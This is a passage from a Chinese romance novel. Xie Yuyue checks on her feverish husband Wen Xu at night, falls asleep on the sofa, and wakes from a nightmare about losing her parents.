猜他估计是睡沉了,谢与月有点担心他是不是还烧着。
医生叮嘱过,要是睡前还没退烧,得再吃一片退烧的。
久等都没等到他来开门,谢与月手搭在手把上,往下一压,门开了。
屋里很暗,只有门口玄关处上一盏昏黄的夜灯,只能照亮床头柜的那片小小区域。
新风系统和中央空调的暖气正开着,依稀能闻到屋内氤氲着佛手柑檀香。她看向被夜灯照亮的玄关,上面放着一个香盘和香插,里头盛着燃烬的灰,短短的线香,早就烧完了。
在玄关停留了一小会,依旧没听见床上传来动静,她轻手轻脚地走到床前,不知怎的,生出了种做贼般的错觉。
屋里太暗,在眼睛终于适应昏暗后,谢与月终于看清了他。应该是盖被子出了薄汗,鬓角的发贴着脸,睡得挺沉的,倒是有点舍不得叫醒他了。
她握紧手中的温度计,踌躇了好一会,目光不小心被他的长睫毛吸引。
细密,有点想摸。
她就轻轻碰一下,他应该不会醒吧?
在再次犯案之前,谢与月戳了戳他的被子,再戳戳露出来的手臂,没见他有什么反应。
她放下心来,指尖轻轻地点了一下睫毛,还没来得及感受,便瞧见他睫毛随之一颤,她飞快收回了手,姿态规矩,似乎什么也没发生一样。
以为他快醒了,她安静等着,可谁知他只是睫毛颤了下而已,依旧睡得很沉,也许是这阵子加班太多,睡眠不足。
真是奇怪,记得她不久前还被大数据推过一个帖子,是一位想找工作的应届生,问京市有什么氛围好的企业。
那下面的评论区得有十几条推荐她去北望的,还有员工现身说法,说他们公司严格执行朝九晚五和双休,要想加班得额外申请,只有紧急情况才会允许加班,而且现在已经很少极具形式意义的指标任务和汇报了,工作流程全部从简。
既然都这样了,闻叙怎么还这么忙呢。
谢与月就这么看着他的脸,发呆了好一会,又想到下午熬的那锅米汤,突然有点想她爸了。
爸爸应该很满意他这个女婿吧。
算了,好不容易睡这么沉,让他再睡会好了。
她用手背粗糙地感受了下他的额温,不怎么烫了,就把温度计放到了床头柜,动作安静地窝在沙发里,顺带将靠背上的毯子扯了下来盖身上,决定等一个小时后再喊醒他测温度和吃药。
房间内淡淡的佛手柑香叫她觉着安心,就算是躺在沙发上也慢慢睡着了。
大概因为白天追的剧是悬疑恐怖的类型,她又做了噩梦。这次记得很清晰,梦里的她绝望地伸出手,喊着爸爸妈妈别离开我,却怎么也阻止不住黑潮涌动着无声湮灭一切。
寂静暗夜里,只剩下她的心脏还在跳动。
似乎是下雨了,她仰起头来,那雨湿乎乎、黏哒哒的,跟黑泥一样,几乎要闷住她口鼻。
“谢与月,醒醒。”有道声音在喊她,暗沉,略带淡淡的鼻音,“醒醒。”